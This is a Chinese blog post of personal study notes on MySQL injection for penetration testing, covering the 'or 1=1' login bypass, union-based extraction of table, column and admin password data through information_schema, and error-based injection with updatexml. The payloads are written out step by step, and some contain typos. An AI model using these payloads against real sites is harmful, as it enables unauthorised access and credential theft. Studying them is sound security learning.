vlambda博客
学习文章列表

渗透测试之Mysql注入

sql注入简称数据库注入,所有构造的攻击语句都针对于数据库,防御的方式就是控制用户输入的数据,使用正侧表达式过滤特殊符号等。
web服务传输过程:
目前有三层架构以及四层架构当然没什么大问题只要能绕过安全狗防护,具体问度娘。
用户——>web应用——>服务器——数据库
用户发起数据请求,服务器根据接受传参的代码执行与数据库交互返回结果。
列如登陆功能:
接收表单传参的PHP代码:
$username=$_POST['name'];
$password=$_POST['paswd'];
服务器与数据库交互的查询语句代码:
$sql=”select*from jall where username='$username' and password='$password' ”;
如果用户输入的账号密码与数据库中存在的数据匹配,用户登陆成功。

注入的前提是用户输入的数据被当做代码执行

根据以上没有做过滤处理的代码注传参入攻击
比如万能密码绕过:'or  1=1 -- +

代码部分接收的参数是单引号,使用单引号闭合,语句后面加上注释符号。
数据库接收到的语句:
select*from jall where username=''or 1=1 -- + and password=''
在此条件查询语句中 查询账号名的username后面单引号被闭合值为空, or 1=1 变成代码执行,注释符号将后面的and语句全部变成注释,那么这条语句就成立了。数据库返回信息给代码告知其条件成立,然后就登陆成功了。
由于账户信息为空,所以没有数据,如果账号不为空,那么没有密码也能登陆成功。
这是一个小小的案例,以目前的防护程度,可能性很小,但是仍然可以尝试。

数据库有很多类型可以根据其特性测试是哪一种类型的数据库,大部分数据库即使操作都是使用sql语言但是各个都有独特之处,注入攻击的方式也会有些不同

开始正篇

MySQL数据库注入
mysql数据库特性​:
5.0版本及以上有系统自带库information_schema,库中记录了数据库所有的信息。低于5.0的将类似Aescc数据库只能撞库看天命。MySQL可以使用两种注释符号,#,空格--空格加任意字符。-- 在所有数据库中是通用的,#是MySQL独有的注释符号,其他数据库类型并不能用,可以根据这个特性来判断目标站点使用的是不是MySQL数据库。
一丶显错注入
注入前先测试目标有没有sql注入漏洞(输入的数据能否被当做代码执行)尝试使用单引号,双引号,单双引号等➕括号能否闭合接收传参的特殊字符,使输入的sql语句能够执行。
order by 是对目标进行返回结果排序输出
如果表中有5个字段使用order by 6 排序第六个字段会报错,由此来判断表中的字段数。
使用联合查询语句union的前提是两边的字段数必须相同才会执行。
假如nawe表中字段数为5
根据字段填充寻找当前站点的显错点
使用and使原条件不成立并执行后面的联合查询语句
and 1=2 union select 1,2,3,4 -- +
后台语句:select*from nawe where id=1 and 1=2 union select 1,2,3,4 -- + (如果需要闭合就加上注释符号把后面的特殊符号注释掉,没有闭合加不加都无所谓)
当显错点显示在3的位置时,在那个位置插入sql语句。
查询当前库版本:
and 1=2 union select 1,2,version(),4 -- +
查询当前库:
and 1=2 union select 1,2,database(),4 -- +
查询当前库下表:
and 1=2 union select 1,2,table_name,4 from information_schema.tables where table_schema=database () limit 0,1 -- +
limit是排序字段到第一位并显示输出,由于网页可能有限制字符长度的输出建议使用单条显示输出。limit 0,1表示排序第一条字段,输出一行(这里的零表示是1,懂的都懂),通过limit 0,1至limit N,1的不断增递获取所有用户创建的所有表名。
假如获取的表名有admin(通常密码都放在这个表中)
查询admin表下字段:
and 1=2 union select 1,2,column_name,4 from information_schema.columns where table_schem=database() and table_name='admim' limit 0,1 -- +
假如有password字段
查询字段中数据:
and 1=2 union select 1,2,password,4 from admin limit 0,1 -- +

如果目标站点存在sql注入,没有显错点,那么只能使用盲注或者报错注入,dns注入,往下翻。

MySQL报错注 ​入
报错注入的核心在于使数据库报错并将已经执行语句得到的结果与报错信息拼接一起输出

使用的函数:
updatexml(目标路径,目标文件,替换文件)数据库用于更新文档的函数
concat()是一个将字符串进行拼接的函数

语句:
updatexml(1,concat(0x7e,(select database()),0x7e),1) 这是查询当前库语句
解析:MySQL数据库支持16进制,0x7e表示~,由于输人的内容不符合updatexml的规则数据库将会报错,而在数据库报错之前已经先执行子查询语句得出结果(子查询语句有优先执行权),concat将结果与报错信息拼接成一条字符串,数据库将报错信息反馈至浏览器页面时得知当前库库名。
报错注入不需要判断当前站点页面字段数也不需要判断显错点,只要把后台接收传参代码的特殊符号闭合,语句能够被数据库执行就是注入成功。代码与数据库交互设置了几个查询点就在加几个"1)"填充位置,正常情况下是未知的,可以通过猜解不断填充至执行成功。
比如插入数据的代码:
$sql=" insert into admin(user,paswd) values ('$username','$krtio')";
构建语句:
updatexml(1,concat(0x7e,(select database()),0x7e),1),1)
报错注入仅此而已。


两点了,明天继续,显示器烧了,只能写笔记消遣。明天写盲注(布尔型盲注与时间型盲注)